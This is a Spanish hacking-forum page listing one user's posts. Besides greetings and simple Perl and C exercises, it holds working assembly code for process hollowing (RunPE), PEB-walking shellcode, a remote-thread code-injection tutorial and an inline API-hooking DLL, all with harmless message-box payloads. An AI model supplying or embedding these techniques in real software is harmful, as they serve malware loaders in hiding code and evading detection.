Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Juan

#1
Off Topic / Feliz Navidad!!
Diciembre 21, 2015, 04:59:16 AM
Bueno pues, ahora si que sí, FELIZ NAVIDAD!!!!

Que disfruteis de los vuestros en estos dias que vendrán y intentemos ser mejores personas en este año nuevo.

saludos!!
#2
Ingeniería Inversa / Memory Hacking Software
Diciembre 09, 2015, 07:44:15 AM


Programa con la misma finalidad que Cheat engine:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno también.
#3
Off Topic / Cuanto tiempo
Diciembre 02, 2015, 04:22:17 PM
Hola genteeee hacia muchísimo que no visitaba la red por problemas personales y de trabajo, espero tener ahora mas tiempo libre para dedicar a este gran foro.

Me alegra ver nicks conocidos todavía :)

Un saludo, mDrinky
#4
Perl / [Ejercicios] Perl
Noviembre 30, 2014, 05:07:46 PM
Bueno pues, para darle más vida a esta sección, se me ha ocurrido hacer una serie de ejercicios. El primero sería hacer una pirámide en la que pides al usuario la altura de dicha pirámide y la dibujas, ej:

Introduciendo 5 en altura.

Código: php
Introduce la altura del triangulo: 5
     *
    **
   ***
  ****
*****


¡Animaros!
#5
Perl / PDF de Perl
Noviembre 10, 2014, 08:53:07 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Lo recomiendo, es muy bueno.
#6
Off Topic / Cuanto tiempo...
Junio 10, 2014, 07:31:19 AM
Hola gente de Underc0de, cuanto tiempo sin vernos  ::)
#7
Perl / Ping
Enero 19, 2014, 10:55:16 PM
Para los que les gusta usar sus propias cosas y ver como funcionan.

Código: perl
# ping.pl por Juan fary.
# Realiza ping desde perl facilmente.
# modo de uso:
# perl ping.pl www.google.es
# si queremos que haga ping infinito -> perl ping.pl www.google.es -t

use v5.16;
use Net::Ping;
use Socket;

my $host = $ARGV[0];
chomp($host);

my $_IP = gethostbyname($host);
my $IP = inet_ntoa($_IP); 

my $p = Net::Ping->new("icmp",,32);

say "\nHaciendo ping a $host [$IP] con 32 bytes de datos:\n";

my $correctos = 0;
my $incorrectos = 0;

my $i = 0;

while ($i < 4)
{
if ($p->ping($host,10))
{
say "Respuesta corrrecta desde $IP: bytes = 32.";
$correctos++;
}else{
say "No se a obtenido respuesta desde $IP.";
$incorrectos++;
}

sleep(1);
$i++ if $ARGV[1] ne "-t";
}

say "\nEstadisticas de ping para $IP";
say "    Paquetes: enviados = 4, recibidos = $correctos, perdidos = $incorrectos.";

exit;
#8
Código: c
/*
Pasar de binario a decimal utilizando una estructura.
Programado por Juan fary (mDrinky) [email protected]
*/

#include <stdio.h>

struct NumeroBinario
{
    unsigned int bit1:1;
    unsigned int bit2:1;
    unsigned int bit3:1;
    unsigned int bit4:1;
    unsigned int bit5:1;
    unsigned int bit6:1;
    unsigned int bit7:1;
    unsigned int bit8:1;
};

int main()
{
    struct NumeroBinario n;

    printf ("Introduce el numero: ");
    scanf("%i",&n);

    printf("Numero en binario: %i",n.bit8);
    printf("%i",n.bit7);
    printf("%i",n.bit6);
    printf("%i",n.bit5);
    printf("%i",n.bit4);
    printf("%i",n.bit3);
    printf("%i",n.bit2);
    printf("%i\n",n.bit1);

    return 0;
}
#9
Presentaciones y cumpleaños / Hola!
Noviembre 13, 2013, 03:41:51 PM
Soy mDrinky, me cambio el nick a Juan! un saludo frikis!
#10
Códigos Fuentes / Resolver expresiones con pilas
Noviembre 12, 2013, 08:41:11 PM
Resuelve expresiones como 1+1+1+1 , 2*5(3+4), (5*2)+(5*3). No resolvera numeros de dos o mas caracteres, aunque modificando un poco el codigo se puede conseguir :)

un saludo!

Código: c
// convierte expresion INFIJA en POSTFIJA y evalua expresiones POSTFIJAS 
// programado por Juan fary (mDrinky) [email protected]
// compilado con MingW y Code::Blocks

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct Dato
{
    char caracter;
    struct Dato * Siguiente;
}_Dato;

typedef _Dato * ptrDato;

void push(ptrDato * Pila,char caracter);
char pop(ptrDato * Pila);
int Prioridad(char Op1,char Op2);
char * PostFija(char * Cadena);
int Evaluar(char * Expresion);

int main()
{
    char * cadena = "5*3+8*5";

    char * Expresion = PostFija(cadena);

    printf("POSTFIJA: %s\n",Expresion);

    printf("Resultado de la operacion: %i",Evaluar(Expresion));

    return 0;
}

int Evaluar(char * Expresion)
{
    ptrDato Pila = NULL;
    int num1 = 0,num2 = 0,i = 0, Resultado = 0;

    while (Expresion[i] != '\0')
    {
        if (Expresion[i] != '*' && Expresion[i] != '/' && Expresion[i] != '+' && Expresion[i] != '-')
        {
            push(&Pila,Expresion[i]);
        }else{
            num1 = (pop(&Pila)-0x30);
            num2 = (pop(&Pila)-0x30);

            switch (Expresion[i])
            {
                case '*':
                    Resultado = ((num1*num2));
                    break;

                case '/':
                    Resultado = ((num1/num2));
                    break;

                case '+':
                    Resultado = ((num1+num2));
                    break;

                case '-':
                    Resultado = ((num1-num2));
                    break;
            }
            push (&Pila,(Resultado+0x30));
        }
        i++;
    }
    return Resultado;
}

char * PostFija(char * cadena)
{
    ptrDato Pila = NULL;
    int i = 0,a = 0, Elementos = 0,Longitud = 0;
    char dato;

    Longitud = strlen(cadena);

    char * buffer = (char*) malloc(Longitud);
    memset(buffer,0,Longitud);

    while(cadena[i] != '\0')
    {
        if (cadena[i] == '(')
        {
            push(&Pila,cadena[i]);
            Elementos += 1;
        }else if (cadena[i] == ')'){
            while(1)
            {
                dato = pop(&Pila);
                Elementos -= 1;

                if(dato == '(')
                {
                    break;
                }else{
                    buffer[a] = dato;
                    a += 1;
                }
            }
        }else if(cadena[i] == '*' || cadena[i]  == '/' || cadena[i] == '+' || cadena[i] == '-'){
            RepetirProceso:
            if (Elementos == 0)
            {
                push (&Pila,cadena[i]);
                Elementos += 1;
            }else if(Prioridad(Pila->caracter,cadena[i]) == 1)
            {
                push(&Pila,cadena[i]);
                Elementos += 1;
            }else if (Pila->caracter != '('){
                dato = pop(&Pila);
                Elementos -= 1;

                buffer[a] = dato;
                a += 1;

                goto RepetirProceso;
            }
        }else{
            buffer[a] = cadena[i];
            a += 1;
        }
        i++;
    }

    while(Pila != 0)
    {
        buffer[a] = pop(&Pila);
        a += 1;
    }
    return buffer;
}

int Prioridad(char Op1,char Op2)
{
        int Estado = 1;

        if (Op1 == '*' && Op2 == '-' || Op1 == '*' && Op2 == '+' || Op1 == '/' && Op2 == '-' || Op1 == '/' && Op2 == '+')
        {
            Estado = 0;
        }

        return Estado;
}

char pop(ptrDato * Pila)
{
    ptrDato ViejoDato;
    char _caracter;

    ViejoDato = *Pila;
    _caracter = (*Pila)->caracter;

    *Pila = (*Pila)->Siguiente;

    free(ViejoDato);

    return _caracter;
}
void push(ptrDato * Pila,char caracter)
{
    ptrDato NuevoDato;

    NuevoDato = (ptrDato)malloc(sizeof(_Dato));
    memset(NuevoDato,0,sizeof(_Dato));

    if (NuevoDato != NULL)
    {
        NuevoDato->caracter = caracter;
        NuevoDato->Siguiente = *Pila;

        *Pila = NuevoDato;
    }
}
#11
Hola,

Os explico, tengo un Nokia Lumia 920 con Windows Phone 8 y quiero instalar WhatsApp pero no lo consigo. Lo instalo bien pero luego a la hora de introducir mi numero de teléfono cuando le doy a siguiente me sale un mensaje de error diciendo lo siguiente:

"No se pudo conectar con WhatsApp. Por favor confirme su configuración de red y reintente mas tarde."

Me estoy volviendo loco y no doy con la solución, a alguien le a ocurrido?

un saludo!

#12
Basicamente es lo mismo que esto:

Código: php
https://www.assembla.com/spaces/Chroalus/wiki/Halo_Engine_DrawText


Pero para otra versión del juego y es una funcion mas avanzada ya que esta tambien deja imprimir números.

Código de una DLL de ejemplo utilizando la función que he encontrado:

Código: C
// Ing. Inversa por Juan fary (mDrinky)
// Funciones que imprimen cadenas de texto y numero por consola
// Halo Custom Edition.
// VSC++ 2008

#include <windows.h>

int * cBlanco = (int*)0x005F3668;
int * cVerde  = (int*)0x005F3748;
int * cRojo   = (int*)0x005F5050;
int * cRosa   = (int*)0x005F1010;
int * cGris   = (int*)0x00000000;

DWORD Imprimir = 0x499BD0;

char * tString = "%s";
char * tInt    = "%i";

char * Cadena = "hola Mundo!";

void ImprimirCadena(char * Cadena,int * Color)
{
_asm
{
push Cadena
push tString
mov eax,Color
call dword ptr [Imprimir]
add esp,0x8
}
}

void ImprimirNumero(int * Numero,int * Color)
{
_asm
{
push Numero
push tInt
mov eax,Color
call dword ptr [Imprimir]
add esp,0x8
}
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
ImprimirCadena(Cadena,cBlanco);
ImprimirCadena(Cadena,cVerde);
ImprimirCadena(Cadena,cRosa);
ImprimirCadena(Cadena,cRojo);

ImprimirNumero((int*)69,cGris);
}

return TRUE;
}


#13
Hola, alguien sabe porque no modifica los valores el cheat engine en windows 8 de 64 bits? Busca los valores correctamente pero luego no los modifica :/

Espero respuestas rapidas, un saludo!
#14
Código: asm
; // Lista Procesos de forma nativa con la API  NtQuerySystemInformation
; // Escrito por Juan fary (mDrinky)
; // [email protected]
; // Ensamblador: Flat Assembler

include 'win32ax.inc'
entry start

.data
        Buffer                  dd 0
        len                     dd 0
        nBytes                  dd ?

.code
start:
        add [len],0x1000

        cinvoke realloc,[Buffer],[len]
        mov [Buffer],eax

        invoke NtQuerySystemInformation,5,[Buffer],[len],addr nBytes

        cmp eax,0xC0000004
        je start

        ListarProcesos:

        mov eax,[Buffer]
        mov eax,[eax+0x3C] ; Nombre del proceso
        ;mov eax,[eax+0x44]   ; ID del proceso

        test eax,eax
        je SiguienteProceso

        push eax
        invoke MessageBoxW,0,eax,0,0
        pop eax

        mov eax,[Buffer]   ; puntero a estructura
        mov eax,[eax]      ; Distancia que habria que recorrer hasta la siguiente estructura

        cmp eax,0          ; Si es 0 no hay mas estructuras
        je salir

        SiguienteProceso:

        mov eax,[Buffer]

        mov edx,eax    ; Puntero a estructura en EDX
        mov eax,[eax]  ; EAX =  NextEntryDelta
        add edx,eax    ; Sumamos la distancia de la siguiente estructura

        mov [Buffer],edx ; Siguiente Estructura

        jmp ListarProcesos

        salir:

        ret

section '.idata' data readable import

        library msvcrt,'msvcrt.dll',\
                NTDLL,'NTDLL.DLL',\
                USER32,'USER32.DLL'

        import msvcrt,\
               realloc,'realloc'

        import NTDLL,\
               NtQuerySystemInformation,'NtQuerySystemInformation'

        import USER32,\
               MessageBoxW,'MessageBoxW' 


Me costo crear el código ya que hay poca documentación y mucha de la que hay es erronea, asique tuve que debuguear la API en un proceso externo y ver finalmente como eran las estructuras y en que posición estaba el ID del proceso y el nombre.

un saludo!
#15
Off Topic / Felicidades juan
Mayo 24, 2013, 09:11:52 PM
Felicidades juan! 19 años ya... Disfruta de la vida :)

Un saludo!
#16
ASM / RunPE FASM
Mayo 18, 2013, 11:53:57 AM
Nunca encontre ningún RunPE en FASM que funcionase asique al final me decidi por programarlo yo:

Código: ASM
; // RunPE
; // Programado por Juan fary (mDrinky)
; // [email protected]

format PE GUI 4.0
include 'win32ax.inc'
entry start

section '.data' readable writeable

        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends

        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0

        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?

        Param2          dd 0

        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?


section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI

        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax

        mov [Datos],eax

        cmp word[eax],'MZ'
        jne salir

        add eax,dword[eax+0x3C]  ; PE

        cmp word[eax],'PE'
        jne salir

        push dword[eax+0x34] ; imagebase
        pop [imagebase]

        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]

        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage

        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx

        push eax  ; guardamos ya EAX para el final

        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax

        mov ecx,0

        add eax,0xF8 ; posicionamos en las cabeceras de seccion

        EscribirSecciones:

        inc ecx

        push ecx
        push eax

        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]

        mov [Param2],ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x10]

        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0

        pop eax
        pop ecx

        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER

        cmp ecx,[numseciones]
        jne EscribirSecciones

        invoke GetThreadContext,[_PI.hProcess],CTX

        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0

        pop eax

        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]

        mov [CTX.Eax],eax ; EntryPoint

        invoke SetThreadContext,[_PI.hProcess],CTX

        invoke ResumeThread,[_PI.hThread]

        salir:
        ret

section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'

        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'

        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'


un saludo!

#17
ASM / Obtener dia de la semana 16 bits.
Mayo 15, 2013, 11:42:15 AM
Código: asm
; Ejemplo obtener dia de la semana.
; juan fary (mDrinky)

org 0x100

mov ah,0x2A
int 21h

cmp al,0 ; Es domingo
je Domingo

cmp al,1 ; es lunes

cmp al,3 ; es miercoles
je Miercoles

cmp al,4 ; es jueves
je Jueves

cmp al,5 ; es viernes
je Viernes

cmp al,6 ; es sabado
je Sabado

salir:

mov ah,0x1
int 21h

mov ah,0x4C
mov al,0

int 0x21

Domingo:
    push textDomingo
    call _print
    jmp salir

Lunes:
    push textLunes
    call _print
    jmp salir

Martes:
    push textMartes
    call _print
    jmp salir

Miercoles:
    push textMiercoles
    call _print
    jmp salir

Jueves:
    push textJueves
    call _print
    jmp salir

Viernes:
    push textViernes
    call _print
    jmp salir

Sabado:
    push textSabado
    call _print
    jmp salir

_print:      ; Función que imprime en pantalla.
    push bp
    mov bp,sp

    mov ah,0x9
    mov dx,word[bp+4]
    int 21h

    pop bp

    ret 2

textDomingo             db 'Es Domindo$'
textLunes               db 'Es Lunes$'
textMartes              db 'Es Martes$'
textMiercoles           db 'Es Miercoles$'
textJueves              db 'Es Jueves$'
textViernes             db 'Es Viernes'
textSabado              db 'Es Sabado$'     
#19
Off Topic / Alguien ha usado qustodian?
Abril 18, 2013, 05:57:20 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Quiero saber si realmente me puedo ganar una propinilla con este programa...

#20
ASM / ShellCode Kernel32
Abril 15, 2013, 09:31:29 AM
Código: c
// ShellCode que obtiene la direccion de Kernel32.DLL en el proceso
// Programada por Juan fary (mDrinky)
// [email protected]

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

char code[] = "\x31\xFF\x64\x03\x7F\x30\x8B\x7F\x0C\x8B\x7F\x1C\x8B\x3F\x8B\x57"\
              "\x20\x8B\x4F\x08\x52\x51\x57\x56\xE8\x00\x00\x00\x00\x5B\x81\xEB"\
              "\x1D\x10\x40\x00\x53\x59\x81\xC1\x8A\x10\x40\x00\x53\x81\xC3\x46"\
              "\x10\x40\x00\x51\x52\xFF\xD3\x5B\x5E\x5F\x59\x5A\x8B\x3F\x83\xF8"\
              "\x01\x75\xCB\x89\xC8\xC3\xE8\x00\x00\x00\x00\x5B\x81\xEB\x4B\x10"\
              "\x40\x00\x81\xC3\x62\x10\x40\x00\x55\x89\xE5\x8B\x75\x08\x8B\x4D"\
              "\x0C\x49\x41\xAC\x38\x01\x75\x0D\x3C\x00\x74\x02\xFF\xE3\x80\x39"\
              "\x00\x74\x0B\x75\x00\xB8\x00\x00\x00\x00\x5D\xC2\x08\x00\xB8\x01"\
              "\x00\x00\x00\x5D\xC2\x08\x00\x0A\x0D\x00\x6B\x00\x65\x00\x72\x00"\
              "\x6E\x00\x65\x00\x6C\x00\x33\x00\x32\x00\x2E\x00\x64\x00\x6C\x00\x6C\x00";

int main()
{
        int (*func)();
        func = (int (*)()) code;
        printf("Kernel32 Shellcode: 0x%x\n",(int)(*func)());
        printf("KernelGetModuleHandle: 0x%x\n",GetModuleHandle("KERNEL32.DLL"));
        system("PAUSE");
       
        return 0;
}


Código: asm
; mDrinky

format PE Console

include 'win32ax.inc'
entry start

section '.text' code readable executable
start:
;db 0x31,0xFF,0x64,0x03,0x7F,0x30,0x8B,0x7F,0x0C,0x8B,0x7F,0x1C,0x8B,0x3F,0x8B,0x57
;db 0x20,0x8B,0x4F,0x08,0x52,0x51,0x57,0x56,0xE8,0x00,0x00,0x00,0x00,0x5B,0x81,0xEB
;db 0x1D,0x10,0x40,0x00,0x53,0x59,0x81,0xC1,0x88,0x10,0x40,0x00,0x53,0x81,0xC3,0x44
;db 0x10,0x40,0x00,0x51,0x52,0xFF,0xD3,0x5B,0x5E,0x5F,0x59,0x5A,0x8B,0x3F,0x83,0xF8
;db 0x01,0x75,0xCB,0xC3,0xE8,0x00,0x00,0x00,0x00,0x5B,0x81,0xEB,0x49,0x10,0x40,0x00
;db 0x81,0xC3,0x60,0x10,0x40,0x00,0x55,0x89,0xE5,0x8B,0x75,0x08,0x8B,0x4D,0x0C,0x49
;db 0x41,0xAC,0x38,0x01,0x75,0x0D,0x3C,0x00,0x74,0x02,0xFF,0xE3,0x80,0x39,0x00,0x74
;db 0x0B,0x75,0x00,0xB8,0x00,0x00,0x00,0x00,0x5D,0xC2,0x08,0x00,0xB8,0x01,0x00,0x00
;db 0x00,0x5D,0xC2,0x08,0x00,0x0A,0x0D,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00
;db 0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00
;db 0x00

       xor edi,edi
       add edi,[fs:edi+30h]
       mov edi,[edi+0ch]
       mov edi,[edi+1ch]
       mov edi,[edi]

       next_module:

       mov edx,[edi+0x20]
       mov ecx,[edi+0x8]

       push edx
       push ecx
       push edi ;..
       push esi ;..

       call offset1
       offset1:
       pop ebx
       sub ebx,offset1

       push ebx
       pop ecx  ; Para calcular kernel
       add ecx,Kernel

       push ebx ; guardamos delta

       add ebx,CompararCadenas

       push ecx
       push edx
       call ebx ; Funcion comparar

       ;stdcall ebx,edx,ecx

       pop ebx  ; salvamos el delta

       pop esi ;..
       pop edi ;..
       pop ecx
       pop edx

       mov edi,[edi]

       ;add ebx,next_module

       cmp eax,1
       jne next_module

       mov eax,ecx   ; EAX = KERNEL32.DLL


       cinvoke printf,"Mediante el PEB: %x",eax;ecx
       cinvoke printf,salto

       cinvoke GetModuleHandleW,Kernel
       cinvoke printf,"Mediante GetModuleHandle: %x",eax
       cinvoke printf,salto


       ret

CompararCadenas:
        ; registros que usa EAX, ECX, ESI, EDI, EBX

        call offset2   ; delta offset
        offset2:
        pop ebx
        sub ebx,offset2

        add ebx, bucle   ; delta para la etiquta bucle

        push ebp
        mov ebp, esp

        mov esi,dword[ebp+8]
        mov ecx,dword[ebp+12]
        dec ecx
        bucle:
            inc ecx
            lodsb
            cmp byte[ecx],al
            jne diferentes
            cmp al,0
            je comprobar
            jmp ebx
        comprobar:
            cmp byte[ecx],0
            je iguales
            jne diferentes
        diferentes:
            mov eax,0
            pop ebp
            ret 8
        iguales:
            mov eax,1
            pop ebp
            ret 8

       salto              db 10,13,0
       Kernel             db 0x6B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00

section '.idata' import data readable writeable
        library MSVCRT,'msvcrt.dll',\
                KERNEL32,'KERNEL32.DLL'

        import MSVCRT,printf,'printf'

        import KERNEL32,lstrcmpW,'lstrcmpW',\
               GetModuleHandleW,'GetModuleHandleW'         


saludos.
#21
Inyecciones de código en memoria

Conocimientos previos:
     
-ASM
      -WinApi


Contenido:
1-   ¿Qué es la inyección de código en memoria?
2-   ¿Cómo realizarla?
     2.1- Teoría
     2.2 -Práctica
3-   Ejemplos de inyecciones
4-   Despedida



1- ¿Qué es la inyección de código en memoria?

La inyección de código en memoria consiste  en que otro proceso ejecute el código que nosotros queramos.



2- ¿Cómo realizarla?

2.1 - Teoria
Para realizar la inyección lo que haremos será crear   un espacio en el proceso donde queremos inyectar el código  con la api VirtualProtectEx a continuación escribiremos nuestro código con WriteProcessMemory y finalmente lanzamos el hilo con CreateRemoteThread

2.2- Práctica
Para poner en práctica la teoría anterior vamos a inyectar nuestra funcion en el proceso del buscaminas y haremos que nuestra función haga un MessageBox:

Código: asm
format PE GUI 4.0
entry start

include 'win32ax.inc'

        Ventana db 'Buscaminas',0
        idproc dd ?
        ID dd ?

        TamFun dd ?
        DirFun dd ?

start:
        invoke FindWindow,NULL,Ventana
        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
        mov [ID],eax

        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos

        mov eax,final  ;Obtenemos el tamaño de la función
        sub eax,Inyectado
        mov [TamFun],eax

        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
        mov [DirFun],eax
        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.

        ret

        proc Inyectado
             call offset  ;Técnica del offset delta.
             offset:
             pop ebx
             sub ebx,offset
             push ebx ebx
             pop ecx edx

             add ecx,titulo
             add edx,cuerpo

             push 0
             push ecx
             push edx
             push 0

             call [ebx+mMessageBoxA]


             ret

             titulo db 'Me inyecte!',0
             cuerpo db 'Este Mensage sale del buscaminas ^^',0

             mMessageBoxA dd ? ;variable que contiene la dirección de [email protected]
        endp
        final:

data import
     library kernel32,'Kernel32.dll',\
             user32,'user32.dll'

     import user32,MessageBoxA,'MessageBoxA',\
            FindWindow,'FindWindowA',\
            GetWindowThreadProcessId,'GetWindowThreadProcessId'

     import kernel32,OpenProcess,'OpenProcess',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data 


Como se puede apreciar no es muy difícil pero si plantea un problema grande y es que  nuestro ejecutable sabe en que dirección se encuentra la variable mMessageBoxA cuando compilamos pero al inyectar el código la dirección de la variable cambiara... y nuestra función fallara -_- para eso se usa la tecnica del Delta Offset para recalcular la dirección de las variables y que nuestro código se ejecute bien este en la dirección que este. Para entender que hace el delta Offset pinchar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


3- Ejemplo de inyecciónes

Un simple ejemplo que lanza la calculadora, se inyecta en su proceso cambia el nombre a la ventana y hace un MessageBox

Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ?  ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?

start:
        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
        invoke Sleep,2000
        invoke LoadLibrary,"user32.dll"
        mov [DirUser],eax

        invoke GetProcAddress,[DirUser],"MessageBoxA"
        mov [mMessageBoxA],eax
        invoke GetProcAddress,[DirUser],"FindWindowA"
        mov [mFindWindow],eax
        invoke GetProcAddress,[DirUser],"SetWindowTextA"
        mov [mSetWindowTextA],eax

        mov ebx,final  ;obtenemos el Tamaño de la función
        sub ebx,Inyectada
        mov [TamFun],ebx

        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [DirFun],eax
        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
        ret

        proc Inyectada
                call offset
                offset:
                pop ebx
                sub ebx,offset
                push ebx
                pop ecx

                add ecx,Calculadora

                push ecx
                push NULL
                call [ebx+mFindWindow]

                push ebx
                pop ecx

                add ecx, TituloVen

                push ecx
                push eax
                call [ebx+mSetWindowTextA]

                push ebx ebx
                pop edx ecx

                add ecx,TituloMsg
                add edx,CuerpoMsg

                push 0
                push ecx
                push edx
                push 0

                call [ebx+mMessageBoxA]
                ret

                TituloMsg db 'Inyectado!',0
                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
                TituloVen db 'Este es un título falso',0
                Calculadora db 'Calculadora',0

                mMessageBoxA dd ?  ;Dirección MessageBox
                mFindWindow dd ?   ;dirección fundwindow
                mSetWindowTextA  dd ? ;Dirección de SetWindowText
        endp
        final:
data import
     library kernel32,'kernel32.dll'

     import kernel32,CreateProcessA,'CreateProcessA',\
            Sleep,'Sleep',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data   



4- Despedida
Bueno, ya solo queda la despedida.... Jajaja pues eso que espero que les sea utíl  el tuto, la barrera de lo que podais hacer con las inyecciones de código la poneis vosotros ;)

Saludos.
#22
Código: php
;##########################################################
;##  Ejemplo API Hooking by Drinky94                      ##
;##  Agradecimientos a:                                  ##
;##      [Zero] por todo en lo que me ayuda              ##
;##       YST por su funcion ASCIITOUNICODE              ##
;##########################################################

format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32ax.inc'

section '.code' code readable executable

proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
        locals
            proteccion dd ?
        endl

        stdcall ASCIITOUNICODE,mensajito,buffer;pasamos la cadena que se mostrara en MessageBoxW a Unicode

        invoke LoadLibrary,'user32.dll' ;Cargamos User32
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la direccion de la api
        mov ebx,eax; ebx  = direccion MessageBoxA

        mov eax,hook  ;Calculamos la distancia entre el jmp y la funcion donde saltaremos
        sub eax,ebx
        sub eax,4

        mov ecx,eax

        push ebx
        push ecx

        invoke VirtualProtect,ebx,5,PAGE_EXECUTE_READWRITE,addr proteccion     ;le damos a 5 bytes permiso de escritura

        pop ecx
        pop ebx

        mov byte[ebx],0xE9  ;escribimos un jmp
        inc ebx
        mov dword[ebx],ecx ;escriimos la longitud del salto
        add ebx,4
        ret
endp

proc hook,uno,dos,tres,cuatro  ;funcion que remplaza a MesasgeBoxA
    invoke MessageBox,0,buffer,0,0 ;Si se llama a MessageBoxA, mostramos nuestro mensagito :PP
    mov eax,0  ;devolvemos cero
    jmp ebx  ;saltamos donde nos quedamos para continuar la ejecucion.
endp

proc ASCIITOUNICODE,Cadena,Buffer
;Funcion By YST

push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp

proc ShowErrorMessage hWnd,dwError
  local lpBuffer:DWORD
